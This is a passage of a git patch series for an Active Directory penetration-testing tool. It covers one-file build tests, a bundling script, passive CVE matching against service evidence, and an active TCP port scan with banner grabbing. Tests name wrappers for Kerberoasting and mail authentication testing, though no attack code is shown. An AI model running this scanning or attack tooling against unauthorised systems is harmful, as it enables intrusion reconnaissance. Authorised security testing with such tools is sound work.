module = self._load_onefile(copied) + command = [ + "python3", + "-c", + "from adpentest.core import Scope; import json; print(json.dumps({'name': Scope('127.0.0.1').target}))", + ] + rewritten = module._onefile_rewrite_embedded_python_command(command) + self.assertEqual(rewritten[0], sys.executable) + self.assertNotIn("from adpentest.core import", rewritten[2]) + result = subprocess.run( + rewritten, + cwd=tmpdir, + capture_output=True, + text=True, + check=False, + ) + self.assertEqual(result.returncode, 0, result.stderr) + self.assertEqual(json.loads(result.stdout), {"name": "127.0.0.1"}) + + def test_build_ad_command_rewrites_embedded_python_tools(self) -> None: + module = self._load_onefile(ONEFILE) + python_tools = [ + "enum_windows_py", + "GetUserSPNs", + "smtp_enum", + "smtp_auth_test", + "pop3_auth_test", + "imap_auth_test", + "cve_2026_54121_certighost", + ] + with mock.patch.object(module, "find_executable", return_value=sys.executable): + for tool in python_tools: + command = module.build_ad_command(tool, "127.0.0.1", domain="example.local") + self.assertEqual(command[0], sys.executable) + self.assertEqual(command[1], "-c") + self.assertNotIn("from adpentest.core import", command[2]) + self.assertIn("_adpentest_onefile_child", command[2]) + compile(command[2], f"<{tool}>", "exec") + + def test_de_novo_python_fallback_is_read_only_and_correlates_ports(self) -> None: + import adpentest.de_novo as package_de_novo + + reachable = {88, 135, 389, 445} + + class DummySocket: + def __enter__(self): + return self + + def __exit__(self, exc_type, exc, tb): + return False + + def fake_connect(address, timeout): + host, port = address + self.assertEqual(host, "dc.example.local") + self.assertEqual(timeout, 0.8) + if port not in reachable: + raise OSError("closed") + return DummySocket() + + with mock.patch.object(package_de_novo.shutil, "which", return_value=None): + with mock.patch.object(package_de_novo.Path, "is_file", return_value=False): + with mock.patch.object(package_de_novo.socket, "create_connection", side_effect=fake_connect): + result = package_de_novo.find_de_novo("dc.example.local") + + self.assertEqual(result["status"], "completed") + self.assertEqual(result["engine"], "de-novo-python") + self.assertTrue(result["read_only"]) + finding_ids = {finding["id"] for finding in result["findings"]} + self.assertIn("DN-AD-001", finding_ids) + self.assertIn("DN-AD-002", finding_ids) + self.assertNotIn("DN-0636", finding_ids) + + def _load_onefile(self, path: Path): + name = "adpentest_onefile_test_" + str(abs(hash(path))) + saved_adpentest = sys.modules.get("adpentest") + saved_core = sys.modules.get("adpentest.core") + spec = importlib.util.spec_from_file_location(name, path) + self.assertIsNotNone(spec) + module = importlib.util.module_from_spec(spec) + sys.modules[name] = module + try: + assert spec and spec.loader + spec.loader.exec_module(module) + finally: + sys.modules.pop(name, None) + if saved_adpentest is None: + sys.modules.pop("adpentest", None) + else: + sys.modules["adpentest"] = saved_adpentest + if saved_core is None: + sys.modules.pop("adpentest.core", None) + else: + sys.modules["adpentest.core"] = saved_core + return module + + +if __name__ == "__main__": + unittest.main() diff --git a/tools/build_onefile.py b/tools/build_onefile.py new file mode 100755 index 0000000..6b11dcd --- /dev/null +++ b/tools/build_onefile.py @@ -0,0 +1,243 @@ +#!/usr/bin/env python3 +"""Build the standalone AdPentestAI one-file distribution.""" + +from __future__ import annotations + +import argparse +import ast +import hashlib +import sys +from pathlib import Path + +ROOT = Path(__file__).resolve().parents[1] +OUTPUT = ROOT / "adpentest_onefile.py" + +SOURCE_ORDER = ( + "adpentest/__init__.py", + "adpentest/cve_catalog_100.py", + "adpentest/cve_catalog_de_novo_40.py", + "adpentest/de_novo.py", + "adpentest/core.py", +) +EXPECTED_PACKAGE_FILES = set(SOURCE_ORDER) | {"adpentest/__main__.py"} + +HEADER = '''#!/usr/bin/env python3 +# AdPentestAI-Python standalone single-file build. +# Generated by tools/build_onefile.py. Do not edit this file directly. +# Rebuild with: python tools/build_onefile.py +# +# This file contains the project-owned Python sources from the adpentest package. +# Install third-party runtime dependencies with: +# python -m pip install "httpx>=0.27,<1" "dnspython>=2.4,<3" "ldap3>=2.9,<3" + +from __future__ import annotations + +''' + +POSTSCRIPT = r''' + +# ============================================================================ +# Standalone one-file compatibility layer +# ============================================================================ + +_ONEFILE_PACKAGE_EXPORTS = list(globals().get("_ONEFILE_PACKAGE_EXPORTS", ())) +_ONEFILE_CORE_EXPORTS = list(globals().get("__all__", ())) + + +def _onefile_ordered_exports(*groups: list[str]) -> list[str]: + exported: list[str] = [] + seen: set[str] = set() + for group in groups: + for name in group: + if name not in seen and name in globals(): + exported.append(name) + seen.add(name) + for name in ("find_de_novo",): + if name not in seen and name in globals(): + exported.append(name) + seen.add(name) + return exported + + +__all__ = _onefile_ordered_exports(_ONEFILE_PACKAGE_EXPORTS, _ONEFILE_CORE_EXPORTS) + +import functools as _onefile_functools +import pathlib as _onefile_pathlib +import sys as _onefile_sys +def _onefile_module_path() -> str: + return str(_onefile_pathlib.Path(__file__).resolve()) + + +def _onefile_child_bootstrap(module_path: str) -> str: + return ( + "import importlib.util as _iu, sys as _sys, types as _types; " + f"_spec = _iu.spec_from_file_location('_adpentest_onefile_child', {module_path!r}); " + "_m = _iu.module_from_spec(_spec); " + "_sys.modules['_adpentest_onefile_child'] = _m; " + "_pkg = _types.ModuleType('adpentest'); " + "_pkg.__path__ = []; " + "_sys.modules.setdefault('adpentest', _pkg); " + "_sys.modules['adpentest.core'] = _m; " + "_spec.loader.exec_module(_m); " + "_sys.modules['adpentest'].core = _m; " + ) + + +def _onefile_rewrite_embedded_python_command(command: list[str]) -> list[str]: + if not isinstance(command, list) or len(command) < 3 or command[1] != "-c": + return command + code = command[2] + if not isinstance(code, str) or "from adpentest.core import " not in code: + return command + rewritten = list(command) + rewritten[0] = _onefile_sys.executable + rewritten[2] = _onefile_child_bootstrap(_onefile_module_path()) + code.replace( + "from adpentest.core import ", + "from _adpentest_onefile_child import ", + ) + return rewritten + + +_onefile_original_build_ad_command = build_ad_command + + +@_onefile_functools.wraps(_onefile_original_build_ad_command) +def build_ad_command(*args, **kwargs): + return _onefile_rewrite_embedded_python_command( + _onefile_original_build_ad_command(*args, **kwargs) + ) + + + +if __name__ == "__main__": + raise SystemExit(main()) +''' + + +def _line_spans_for_nodes(tree: ast.Module, predicate) -> set[int]: + lines: set[int] = set() + for node in tree.body: + if predicate(node): + start = getattr(node, "lineno", None) + end = getattr(node, "end_lineno", None) + if start is not None and end is not None: + lines.update(range(start, end + 1)) + return lines + + +def _strip_future_imports(text: str, path: str) -> str: + tree = ast.parse(text, filename=path) + remove = _line_spans_for_nodes( + tree, + lambda node: isinstance(node, ast.ImportFrom) + and node.module == "__future__" + and any(alias.name == "annotations" for alias in node.names), + ) + return "\n".join( + line for lineno, line in enumerate(text.splitlines(), 1) if lineno not in remove + ).rstrip() + "\n" + + +def _transform_init(text: str) -> str: + tree = ast.parse(text, filename="adpentest/__init__.py") + remove = _line_spans_for_nodes( + tree, + lambda node: isinstance(node, ast.ImportFrom) + and node.module in {"cve_catalog_100", "cve_catalog_de_novo_40"} + and getattr(node, "level", 0) == 1, + ) + lines = [line for lineno, line in enumerate(text.splitlines(), 1) if lineno not in remove] + transformed = "\n".join(lines).replace("__all__ = [", "_ONEFILE_PACKAGE_EXPORTS = [", 1) + return _strip_future_imports(transformed, "adpentest/__init__.py") + + +def _transform_core(text: str) -> str: + tree = ast.parse(text, filename="adpentest/core.py") + + def is_main_guard(node: ast.stmt) -> bool: + if not isinstance(node, ast.If): + return False + compare = node.test + return ( + isinstance(compare, ast.Compare) + and isinstance(compare.left, ast.Name) + and compare.left.id == "__name__" + and len(compare.ops) == 1 + and isinstance(compare.ops[0], ast.Eq) + and len(compare.comparators) == 1 + and isinstance(compare.comparators[0], ast.Constant) + and compare.comparators[0].value == "__main__" + ) + + remove = _line_spans_for_nodes(tree, is_main_guard) + text = "\n".join( + line for lineno, line in enumerate(text.splitlines(), 1) if lineno not in remove + ).rstrip() + "\n" + return _strip_future_imports(text, "adpentest/core.py") + + +def _transform_source(path: str, text: str) -> str: + if path == "adpentest/__init__.py": + return _transform_init(text) + if path == "adpentest/core.py": + return _transform_core(text) + return _strip_future_imports(text, path) + + +def _validate_source_set() -> None: + present = {str(path.relative_to(ROOT)).replace("\\", "/") for path in (ROOT / "adpentest").glob("*.py")} + unexpected = sorted(present - EXPECTED_PACKAGE_FILES) + missing = sorted(EXPECTED_PACKAGE_FILES - present) + if unexpected or missing: + details = [] + if unexpected: + details.append(f"unexpected package files: {', '.join(unexpected)}") + if missing: + details.append(f"missing package files: {', '.join(missing)}") + raise SystemExit("Cannot build one-file output: " + "; ".join(details)) + + +def _validate_main_module() -> None: + expected = "from .core import main\n\nraise SystemExit(main())\n" + actual = (ROOT / "adpentest" / "__main__.py").read_text(encoding="utf-8") + if actual != expected: + raise SystemExit("adpentest/__main__.py changed; update the one-file main guard generation") + + +def build_onefile() -> str: + _validate_source_set() + _validate_main_module() + sections = [HEADER] + manifest_lines = ["_ONEFILE_SOURCE_SHA256 = {"] + transformed_sources: list[tuple[str, str]] = [] + for rel_path in SOURCE_ORDER: + raw = (ROOT / rel_path).read_text(encoding="utf-8") + digest = hashlib.sha256(raw.encode("utf-8")).hexdigest() + manifest_lines.append(f" {rel_path!r}: {digest!r},") + transformed_sources.append((rel_path, _transform_source(rel_path, raw))) + manifest_lines.append("}\n") + sections.append("\n".join(manifest_lines)) + for rel_path, source in transformed_sources: + sections.append(f"\n# ============================================================================\n# Source: {rel_path}\n# ============================================================================\n\n") + sections.append(source.rstrip() + "\n") + sections.append(POSTSCRIPT.lstrip()) + return "".join(sections).rstrip() + "\n" + + +def main(argv: list[str] | None = None) -> int: + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument("--check", action="store_true", help="fail if adpentest_onefile.py is not up to date") + args = parser.parse_args(argv) + generated = build_onefile() + if args.check: + existing = OUTPUT.read_text(encoding="utf-8") if OUTPUT.exists() else "" + if existing != generated: + print("adpentest_onefile.py is out of date; run python tools/build_onefile.py", file=sys.stderr) + return 1 + return 0 + OUTPUT.write_text(generated, encoding="utf-8") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) From d53f96383a6f99b4d86c7f5a2e9509e121c96ce4 Mon Sep 17 00:00:00 2001 From: netanelcyber <87965762+netanelcyber@users.noreply.github.com> Date: Sun, 6 Sep 2026 17:48:16 +0300 Subject: [PATCH 10/10] Add passive CVE correlation search --- README.md | 5 +- adpentest/__init__.py | 9 + adpentest/core.py | 835 +++++++++++++++++++++++++++++++++++++++-- adpentest_onefile.py | 848 ++++++++++++++++++++++++++++++++++++++++-- tests/test_onefile.py | 111 ++++++ 5 files changed, 1753 insertions(+), 55 deletions(-) diff --git a/README.md b/README.md index e5636e4..146ca80 100644 --- a/README.md +++ b/README.md @@ -106,7 +106,8 @@ The repository includes `adpentest_onefile.py`, a generated standalone Python fi python -m pip install "httpx>=0.27,<1" "dnspython>=2.4,<3" "ldap3>=2.9,<3" python adpentest_onefile.py --help python adpentest_onefile.py --history -python adpentest_onefile.py --target corp.local --mode dry-run --scope-confirmed +python adpentest_onefile.py --target corp.local --mode active --scope-confirmed --active-search careful --passive-cve-limit 10000 +python adpentest_onefile.py --target corp.local --mode active --scope-confirmed --active-search careful --passive-cve-corpus ./nvd/nvdcve-2.0.json ``` Regenerate the file from the package sources whenever the package changes: @@ -119,6 +120,8 @@ python -m unittest discover -s tests -p "test_*.py" -v External command-line tools such as `nmap`, `masscan`, `certipy`, `smbmap`, and Impacket remain optional runtime tools for scan modes that call them. The one-file build keeps the Python code portable and now falls back to a Python implementation for de-novo findings when the native `de_novo_finder` binary is not present. +The default active profile is careful: it probes the resolved target addresses, runs read-only CVE/service checks, and correlates possible CVEs passively from observed service evidence. It does not sweep derived `/24` networks unless `--scan-derived-networks` is supplied together with `--active-search full`. Passive CVE correlation loads up to 10,000 CVE records from built-in catalogs plus an optional local NVD-style JSON/JSONL corpus and reports them as `possible` until product version and patch state are confirmed. + ### Dependencies | Package | Version | Purpose | diff --git a/adpentest/__init__.py b/adpentest/__init__.py index 0b0f4a8..bf96032 100644 --- a/adpentest/__init__.py +++ b/adpentest/__init__.py @@ -3,7 +3,16 @@ from .cve_catalog_100 import EXTENDED_CVES, EXTENDED_CVE_IDS, get_extended_cves, merge_with_registry from .cve_catalog_de_novo_40 import DE_NOVO_CVES_40, DE_NOVO_CVE_IDS_40, get_de_novo_cves_40 + +def main() -> int: + """Lazy console-script entry point.""" + from .core import main as _main + + return _main() + + __all__ = [ + "main", "EXTENDED_CVES", "EXTENDED_CVE_IDS", "get_extended_cves", diff --git a/adpentest/core.py b/adpentest/core.py index af3ccb0..b85dd16 100644 --- a/adpentest/core.py +++ b/adpentest/core.py @@ -37,6 +37,13 @@ import hmac import struct +try: + from .cve_catalog_100 import EXTENDED_CVES, get_extended_cves + from .cve_catalog_de_novo_40 import DE_NOVO_CVES_40, get_de_novo_cves_40 +except ImportError: + EXTENDED_CVES = globals().get("EXTENDED_CVES", []) + DE_NOVO_CVES_40 = globals().get("DE_NOVO_CVES_40", []) + # ============================================================================ # SQLITE SCAN HISTORY DATABASE # ============================================================================ @@ -356,6 +363,18 @@ def get_scan_db(db_path: str | Path | None = None) -> ScanDatabase: "cve_2026_20929_kerberos_dns_relay", } +CVE_TOOL_NAMES = { + tool + for tool in AD_TOOLS + if tool.startswith("cve_") +} + +CAREFUL_ACTIVE_TOOLS = CVE_TOOL_NAMES | { + "nmap_scan", + "enum_windows_py", + "email_server_discovery", +} + # ============================================================================ # WINDOWS ENUMERATION (Python-based, cross-platform) # ============================================================================ @@ -363,11 +382,13 @@ def get_scan_db(db_path: str | Path | None = None) -> ScanDatabase: class WindowsEnumerate: """Windows-adapted enumeration engine (enum4linux-ng Python port)""" - def __init__(self, target: str, timeout: int = 10): + def __init__(self, target: str, timeout: int = 10, domain: str | None = None): self.target = target self.timeout = timeout + self.domain = domain self.results = { "target": target, + "domain": domain, "platform": platform.system(), "ldap_info": {}, "smb_info": {}, @@ -4963,6 +4984,565 @@ def generate_report(cls, filters: dict = None) -> str: return report +# ============================================================================ +# PASSIVE CVE CORRELATION ENGINE +# ============================================================================ + +PASSIVE_CVE_DEFAULT_LIMIT = 10000 +PASSIVE_CVE_MIN_SCORE = 45 +PASSIVE_CVE_MAX_MATCHES_PER_TARGET = 250 +_CVE_ID_RE = re.compile(r"CVE-\d{4}-\d{4,7}", re.IGNORECASE) +_TOKEN_RE = re.compile(r"[a-z0-9][a-z0-9_.+-]{1,}", re.IGNORECASE) + +_SERVICE_ALIASES: dict[str, set[str]] = { + "21": {"ftp"}, + "22": {"ssh", "openssh"}, + "25": {"smtp", "mail", "exchange"}, + "53": {"dns", "bind"}, + "80": {"http", "web", "iis", "apache", "nginx"}, + "88": {"kerberos", "kdc", "active-directory", "windows"}, + "110": {"pop3", "mail"}, + "135": {"rpc", "msrpc", "windows"}, + "139": {"netbios", "smb", "samba", "windows"}, + "143": {"imap", "mail"}, + "389": {"ldap", "active-directory", "windows"}, + "443": {"https", "http", "web", "iis", "apache", "nginx", "openssl"}, + "445": {"smb", "microsoft-ds", "samba", "windows"}, + "464": {"kerberos", "kpasswd", "active-directory", "windows"}, + "465": {"smtp", "mail", "tls"}, + "587": {"smtp", "mail", "submission"}, + "636": {"ldap", "ldaps", "active-directory", "windows"}, + "993": {"imap", "mail", "tls"}, + "995": {"pop3", "mail", "tls"}, + "1433": {"mssql", "sql-server", "microsoft"}, + "3306": {"mysql", "mariadb"}, + "3389": {"rdp", "windows"}, + "5432": {"postgresql", "postgres"}, + "5985": {"winrm", "wsman", "windows"}, + "5986": {"winrm", "wsman", "windows", "tls"}, + "8080": {"http", "web", "tomcat", "jetty"}, + "8443": {"https", "http", "web", "tomcat", "jetty"}, + "9200": {"elasticsearch"}, +} + +_GENERIC_CVE_TOKENS = { + "server", "service", "remote", "code", "execution", "denial", "windows", + "microsoft", "http", "https", "tcp", "network", "protocol", "client", + "application", "software", "component", "vulnerability", "security", +} + + +def _cve_text_tokens(*values: Any) -> set[str]: + tokens: set[str] = set() + for value in values: + if value is None: + continue + if isinstance(value, (list, tuple, set)): + tokens.update(_cve_text_tokens(*value)) + continue + text = str(value).lower().replace("_", "-") + for token in _TOKEN_RE.findall(text): + token = token.strip(".-_") + if len(token) >= 3: + tokens.add(token) + return tokens + + +def _severity_from_cvss(score: float | None) -> str | None: + if score is None: + return None + if score >= 9.0: + return "CRITICAL" + if score >= 7.0: + return "HIGH" + if score >= 4.0: + return "MEDIUM" + return "LOW" + + +def _nvd_description(cve_obj: dict[str, Any]) -> str: + description_value = cve_obj.get("description") + if isinstance(description_value, str): + return description_value + descriptions = cve_obj.get("descriptions") or ( + description_value.get("description_data", []) + if isinstance(description_value, dict) + else [] + ) + if isinstance(descriptions, list): + for item in descriptions: + if isinstance(item, dict) and item.get("lang") == "en" and item.get("value"): + return str(item["value"]) + for item in descriptions: + if isinstance(item, dict) and item.get("value"): + return str(item["value"]) + if isinstance(descriptions, str): + return descriptions + return "" + + +def _walk_cpe_values(obj: Any) -> list[str]: + values: list[str] = [] + if isinstance(obj, dict): + for key in ("criteria", "cpe23Uri", "cpe22Uri"): + value = obj.get(key) + if isinstance(value, str) and value.startswith("cpe:"): + values.append(value) + for value in obj.values(): + values.extend(_walk_cpe_values(value)) + elif isinstance(obj, list): + for item in obj: + values.extend(_walk_cpe_values(item)) + return values + + +def _cpe_product_tokens(cpes: list[str]) -> set[str]: + tokens: set[str] = set() + for cpe in cpes: + parts = cpe.split(":") + if len(parts) >= 6: + tokens.update(_cve_text_tokens(parts[3], parts[4], parts[5])) + return tokens - _GENERIC_CVE_TOKENS + + +def _extract_cvss(item: dict[str, Any], cve_obj: dict[str, Any]) -> float | None: + metrics = item.get("metrics") or cve_obj.get("metrics") or {} + for key in ("cvssMetricV31", "cvssMetricV30", "cvssMetricV2"): + values = metrics.get(key) + if isinstance(values, list) and values: + cvss_data = values[0].get("cvssData", {}) + score = cvss_data.get("baseScore") + if isinstance(score, (int, float)): + return float(score) + impact = item.get("impact") or {} + for path in ( + ("baseMetricV3", "cvssV3", "baseScore"), + ("baseMetricV2", "cvssV2", "baseScore"), + ): + current: Any = impact + for key in path: + current = current.get(key, {}) if isinstance(current, dict) else {} + if isinstance(current, (int, float)): + return float(current) + return None + + +def _iter_raw_cve_items(payload: Any) -> list[Any]: + if isinstance(payload, list): + return payload + if not isinstance(payload, dict): + return [] + if isinstance(payload.get("vulnerabilities"), list): + return payload["vulnerabilities"] + if isinstance(payload.get("CVE_Items"), list): + return payload["CVE_Items"] + if isinstance(payload.get("items"), list): + return payload["items"] + if payload.get("cve") or payload.get("cve_id") or payload.get("id"): + return [payload] + return [] + + +def normalize_cve_record(item: Any, source: str = "custom") -> dict[str, Any] | None: + if not isinstance(item, dict): + return None + + root = item + cve_obj = item.get("cve") if isinstance(item.get("cve"), dict) else item + cve_id = ( + cve_obj.get("id") + or item.get("cve_id") + or item.get("cve") + or item.get("id") + ) + if not cve_id and isinstance(cve_obj.get("CVE_data_meta"), dict): + cve_id = cve_obj["CVE_data_meta"].get("ID") + if not isinstance(cve_id, str): + return None + match = _CVE_ID_RE.search(cve_id) + if not match: + return None + cve_id = match.group(0).upper() + + description = ( + _nvd_description(cve_obj) + or str(item.get("description") or item.get("summary") or "") + ) + cpes = _walk_cpe_values(root) + cvss = item.get("cvss") + if not isinstance(cvss, (int, float)): + cvss = _extract_cvss(root, cve_obj) + cvss = float(cvss) if isinstance(cvss, (int, float)) else None + severity = str(item.get("severity") or _severity_from_cvss(cvss) or "").upper() or None + name = str(item.get("name") or item.get("title") or cve_id) + component = str(item.get("component") or item.get("product") or item.get("vendor") or "") + tags = item.get("tags") if isinstance(item.get("tags"), list) else [] + tokens = ( + _cve_text_tokens(name, component, tags, item.get("family"), item.get("affected_versions")) + | _cpe_product_tokens(cpes) + ) - _GENERIC_CVE_TOKENS + + return { + "cve": cve_id, + "name": name, + "description": description[:1000], + "component": component, + "cvss": cvss, + "severity": severity, + "tags": tags, + "cpes": cpes[:25], + "tokens": sorted(tokens), + "source": source, + "remediation": item.get("remediation"), + } + + +def _builtin_cve_corpus(limit: int) -> list[dict[str, Any]]: + records: list[dict[str, Any]] = [] + for cve_id, data in ADCVERegistry.CRITICAL_CVES.items(): + item = dict(data) + item["cve"] = cve_id + normalized = normalize_cve_record(item, source="builtin-ad-registry") + if normalized: + records.append(normalized) + for source_name, catalog in ( + ("builtin-extended-100", EXTENDED_CVES), + ("builtin-de-novo-40", DE_NOVO_CVES_40), + ): + for item in catalog: + normalized = normalize_cve_record(item, source=source_name) + if normalized: + records.append(normalized) + if len(records) >= limit: + return records[:limit] + return records[:limit] + + +def _read_cve_corpus_file(path: Path, limit: int) -> list[dict[str, Any]]: + records: list[dict[str, Any]] = [] + if not path.is_file(): + return records + if path.suffix.lower() == ".jsonl": + with path.open("r", encoding="utf-8", errors="replace") as handle: + for line in handle: + if not line.strip(): + continue + try: + raw = json.loads(line) + except json.JSONDecodeError: + continue + normalized = normalize_cve_record(raw, source=str(path)) + if normalized: + records.append(normalized) + if len(records) >= limit: + break + return records + + try: + payload = json.loads(path.read_text(encoding="utf-8", errors="replace")) + except (OSError, json.JSONDecodeError): + return records + for raw in _iter_raw_cve_items(payload): + normalized = normalize_cve_record(raw, source=str(path)) + if normalized: + records.append(normalized) + if len(records) >= limit: + break + return records + + +def load_passive_cve_corpus(corpus_path: str | None = None, limit: int = PASSIVE_CVE_DEFAULT_LIMIT) -> dict[str, Any]: + limit = max(1, min(int(limit), PASSIVE_CVE_DEFAULT_LIMIT)) + records = _builtin_cve_corpus(limit) + sources = ["builtin-ad-registry", "builtin-extended-100", "builtin-de-novo-40"] + + candidates: list[Path] = [] + configured = corpus_path or os.environ.get("ADPENTEST_CVE_CORPUS") + if configured: + candidates.append(Path(configured).expanduser()) + else: + candidates.extend([ + Path.cwd() / "cve-corpus.json", + Path.cwd() / "cve-corpus.jsonl", + Path.cwd() / "nvd", + Path.home() / ".cache" / "adpentest" / "nvd", + ]) + + seen = {record["cve"] for record in records} + for candidate in candidates: + files: list[Path] + if candidate.is_dir(): + files = sorted(candidate.glob("*.json")) + sorted(candidate.glob("*.jsonl")) + else: + files = [candidate] + for file_path in files: + remaining = limit - len(records) + if remaining <= 0: + break + external_records = _read_cve_corpus_file(file_path, remaining) + if external_records: + sources.append(str(file_path)) + for record in external_records: + if record["cve"] in seen: + continue + records.append(record) + seen.add(record["cve"]) + if len(records) >= limit: + break + + return { + "limit": limit, + "loaded": len(records), + "sources": sources, + "records": records, + } + + +def _parse_nmap_services(result: dict[str, Any]) -> list[dict[str, Any]]: + observations: list[dict[str, Any]] = [] + target = result.get("target") or result.get("host") + stdout = result.get("stdout") or "" + pattern = re.compile( + r"^\s*(\d+)/(tcp|udp)\s+(\S+)\s+(\S+)(?:\s+(.*))?$", + re.MULTILINE, + ) + for match in pattern.finditer(stdout): + port, proto, state, service, version = match.groups() + if state not in {"open", "open|filtered"}: + continue + raw = " ".join(part for part in (service, version or "") if part).strip() + observations.append({ + "target": target, + "port": int(port), + "protocol": proto, + "state": state, + "service": service, + "product": raw, + "source": "nmap_scan", + "raw": raw, + }) + return observations + + +def _parse_tool_service_flags(result: dict[str, Any]) -> list[dict[str, Any]]: + observations: list[dict[str, Any]] = [] + target = result.get("target") or result.get("host") + stdout = result.get("stdout") or "" + try: + payload = json.loads(stdout) + except (TypeError, json.JSONDecodeError): + return observations + if not isinstance(payload, dict): + return observations + + flag_map = { + "smb_reachable": (445, "smb"), + "smb_open": (445, "smb"), + "ldap_reachable": (389, "ldap"), + "ldap_open": (389, "ldap"), + "kerberos_reachable": (88, "kerberos"), + "kerberos_open": (88, "kerberos"), + "dns_open": (53, "dns"), + "http_open": (80, "http"), + "webdav_reachable": (80, "webdav"), + "adcs_detected": (80, "adcs"), + "kpasswd_open": (464, "kpasswd"), + } + for key, (port, service) in flag_map.items(): + if payload.get(key) is True: + observations.append({ + "target": target, + "port": port, + "protocol": "tcp", + "state": "open", + "service": service, + "product": service, + "source": result.get("tool", "tool-json"), + "raw": key, + }) + for port in payload.get("open_ports", []) if isinstance(payload.get("open_ports"), list) else []: + try: + port_int = int(port) + except (TypeError, ValueError): + continue + observations.append({ + "target": target, + "port": port_int, + "protocol": "tcp", + "state": "open", + "service": str(port_int), + "product": "", + "source": result.get("tool", "tool-json"), + "raw": f"open_ports:{port_int}", + }) + return observations + + +def _observation_tokens(observation: dict[str, Any]) -> set[str]: + port = observation.get("port") + tokens = _cve_text_tokens( + observation.get("service"), + observation.get("product"), + observation.get("raw"), + ) + if port is not None: + tokens.update(_SERVICE_ALIASES.get(str(port), set())) + return tokens + + +def build_passive_service_inventory( + tool_results: list[dict[str, Any]], + active_observations: list[dict[str, Any]] | None = None, +) -> list[dict[str, Any]]: + observations: list[dict[str, Any]] = [] + for result in tool_results: + if result.get("tool") == "nmap_scan": + observations.extend(_parse_nmap_services(result)) + observations.extend(_parse_tool_service_flags(result)) + observations.extend(active_observations or []) + + deduped: dict[tuple[Any, Any, Any, Any], dict[str, Any]] = {} + for observation in observations: + key = ( + observation.get("target"), + observation.get("port"), + observation.get("protocol"), + observation.get("service"), + ) + observation["tokens"] = sorted(_observation_tokens(observation)) + deduped.setdefault(key, observation) + return list(deduped.values()) + + +def passive_cve_scan( + tool_results: list[dict[str, Any]], + active_observations: list[dict[str, Any]] | None = None, + corpus_path: str | None = None, + limit: int = PASSIVE_CVE_DEFAULT_LIMIT, + min_score: int = PASSIVE_CVE_MIN_SCORE, +) -> dict[str, Any]: + corpus = load_passive_cve_corpus(corpus_path=corpus_path, limit=limit) + inventory = build_passive_service_inventory(tool_results, active_observations) + matches_by_target: dict[str, list[dict[str, Any]]] = {} + + for observation in inventory: + target = str(observation.get("target") or "") + evidence_tokens = set(observation.get("tokens", [])) + if not target or not evidence_tokens: + continue + for record in corpus["records"]: + cve_tokens = set(record.get("tokens", [])) + shared = sorted((evidence_tokens & cve_tokens) - _GENERIC_CVE_TOKENS) + if not shared: + continue + score = 25 + min(50, len(shared) * 15) + if record.get("cvss"): + score += min(15, int(float(record["cvss"]))) + if record.get("cpes") and shared: + score += 10 + if score < min_score: + continue + matches_by_target.setdefault(target, []).append({ + "target": target, + "cve": record["cve"], + "status": "possible", + "confidence": "medium" if score >= 70 else "low", + "score": min(score, 100), + "cvss": record.get("cvss"), + "severity": record.get("severity"), + "name": record.get("name"), + "component": record.get("component"), + "source": record.get("source"), + "matched_tokens": shared[:10], + "evidence": { + "source": observation.get("source"), + "port": observation.get("port"), + "service": observation.get("service"), + "product": observation.get("product"), + "raw": observation.get("raw"), + }, + "next_step": "Confirm exact product/version and patch state before treating this as vulnerable.", + }) + + matches: list[dict[str, Any]] = [] + for target, target_matches in matches_by_target.items(): + target_matches.sort(key=lambda item: (item.get("score", 0), item.get("cvss") or 0), reverse=True) + matches.extend(target_matches[:PASSIVE_CVE_MAX_MATCHES_PER_TARGET]) + + return { + "status": "completed", + "mode": "passive-correlation", + "corpus_limit": corpus["limit"], + "corpus_loaded": corpus["loaded"], + "sources": corpus["sources"], + "service_evidence_count": len(inventory), + "service_evidence": inventory[:200], + "possible_count": len(matches), + "matches": matches, + } + + +def active_service_search(hosts: list[str], timeout: float = 2.0, workers: int = 8) -> dict[str, Any]: + ports = [ + 21, 22, 25, 53, 80, 88, 110, 135, 139, 143, 389, 443, 445, + 464, 465, 587, 636, 993, 995, 1433, 3306, 3389, 5432, 5985, + 5986, 8080, 8443, 9200, + ] + observations: list[dict[str, Any]] = [] + + def probe(host: str, port: int) -> dict[str, Any] | None: + try: + with socket.create_connection((host, port), timeout=timeout) as sock: + sock.settimeout(timeout) + banner = "" + if port in {80, 8080}: + sock.sendall(b"HEAD / HTTP/1.0\r\n\r\n") + elif port in {443, 8443}: + banner = "tls-port-open" + try: + data = sock.recv(256) + banner = data.decode("utf-8", errors="replace").strip() + except (OSError, TimeoutError): + pass + service = sorted(_SERVICE_ALIASES.get(str(port), {str(port)}))[0] + return { + "target": host, + "port": port, + "protocol": "tcp", + "state": "open", + "service": service, + "product": banner, + "source": "active_service_search", + "raw": banner or "tcp-connect", + } + except OSError: + return None + + tasks: list[tuple[str, int]] = [] + for host in hosts: + for port in ports: + tasks.append((host, port)) + if not tasks: + return {"status": "completed", "mode": "careful-active", "observations": []} + + with ThreadPoolExecutor(max_workers=max(1, min(workers, len(tasks)))) as executor: + futures = {executor.submit(probe, host, port): (host, port) for host, port in tasks} + for future in as_completed(futures): + observation = future.result() + if observation: + observation["tokens"] = sorted(_observation_tokens(observation)) + observations.append(observation) + + observations.sort(key=lambda item: (item["target"], item["port"])) + return { + "status": "completed", + "mode": "careful-active", + "hosts": hosts, + "ports": ports, + "observations": observations, + } + + class SPNEnumerator: """Service Principal Name enumerator using LDAP (no impacket.examples.GetUserSPNs)""" @@ -7792,6 +8372,23 @@ def parse_arp_table() -> list[str]: # RUNTIME ENVIRONMENT & PATH BOOTSTRAPPING SUBSYSTEM # ============================================================================ +def managed_tool_venv_dir() -> Path: + configured = os.environ.get("ADPENTEST_TOOL_VENV") + if configured: + return Path(configured).expanduser() + return Path.home() / ".adpentest" / "tools-venv" + + +def managed_tool_venv_bin_dir() -> Path: + venv_dir = managed_tool_venv_dir() + return venv_dir / ("Scripts" if platform.system() == "Windows" else "bin") + + +def managed_tool_venv_python() -> Path: + bin_dir = managed_tool_venv_bin_dir() + return bin_dir / ("python.exe" if platform.system() == "Windows" else "python") + + def bootstrap_environment() -> dict[str, Any]: print("[VERBOSE] [bootstrap_environment] Provisioning operational runtime environment pathing...", file=sys.stderr, flush=True) system = platform.system() @@ -7809,12 +8406,14 @@ def bootstrap_environment() -> dict[str, Any]: Path("C:\\Program Files\\OpenSSL\\bin"), Path("C:\\Windows\\System32"), Path("C:\\Windows"), + managed_tool_venv_bin_dir(), ] else: paths = [ home / ".local" / "bin", home / ".local" / "share" / "bin", home / "go" / "bin", + 